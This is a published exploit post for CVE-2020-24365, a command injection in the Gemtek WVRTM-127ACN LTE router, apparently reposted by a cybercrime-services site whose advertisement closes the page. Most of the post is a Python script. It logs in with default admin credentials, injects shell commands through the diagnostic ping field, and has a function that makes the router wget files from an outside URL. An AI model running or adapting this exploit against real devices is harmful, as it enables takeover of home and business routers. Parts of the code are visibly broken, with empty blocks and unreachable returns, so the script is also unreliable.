# Exploit Title: Gemtek WVRTM-127ACN - Authenticated Arbitrary Command Injection 
# Date: 13/09/2020                                         
# Exploit Author: Gabriele Zuddas                         
# Version:,                      
# CVE : CVE-2020-24365                                     

Service Provider : 	Linkem
Product Name : 	LTE CPE
Model ID : 	WVRTM-127ACN
Serial ID :	GMK170418011089
Firmware Version :
Firmware Creation Date : 	May 15 13:04:30 CST 2019
Bootrom Version : 	U-Boot 1.1.3
Bootrom Creation Date : 	Oct 23 2015 - 16:03:05
LTE Support Band : 	42,43

Injecting happens here:

sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&

Exploit has been tested on older verions too:
    Firmware Version:
    Firmware Creation Date : 	May 23 15:34:10 CST 2018


import requests, time, argparse, re, sys

class Exploit():
    CVE = "CVE-2020-24365"
    def __init__(self, args):
        self.args = args
        self.session = requests.Session()
    def login(self):
        s = self.session
        r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})
        if "sid" not in s.cookies:
            print("[!] Login failed.")
        sid = s.cookies["sid"]
        s.headers = {"sid": sid}
        print(f"[*] Login successful! (sid={sid})")
    def now(self):
        return int(time.time() * 1000)

    def exploit(self, command):
        with self.session as s:
            payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"
            r = s.get(payload)
            r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
            content = str(r.content, "utf8")

            #Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)
            r = s.get(payload)
            r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
            content = str(r.content, "utf8")
            #TODO: eventually parse content with regex to clean out the output
            c = re.findall(r"(?<=ping: bad address ')(.*)(?=')", content)
            if len(c) > 0:
                return c[0]
                return False

    def download_file(self, url):
        filename = url.rsplit('/', 1)[-1]
        if self.args.file is not None:
            print(f"[*] Attempting download of file '{filename}' from {url} ...")
            if self.exploit(f"wget {url} -O /tmp/{filename}"):
                print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")
                print(self.exploit(f"du -h /tmp/{filename}"))
                return True
                print(f"[!] Failed to download {filename} from {url}")
                return False

    def run(self):
        if self.args.command is not None:
        if self.args.file is not None:

if __name__ == "__main__":
    # Create the parser and add arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target", default="", help="Vulnerable target")
    parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")
    parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")
    parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")
    parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")

    args = parser.parse_args()

    # Run exploit
    X = Exploit(args)
    if len(sys.argv) > 1:
        print(f"[*] Exploiting {X.CVE} ...")

[*]Source link

[*]Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol’s Cyber Crime Investigation Unit provides investigative support to victims of cyber crimes. Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884 [*]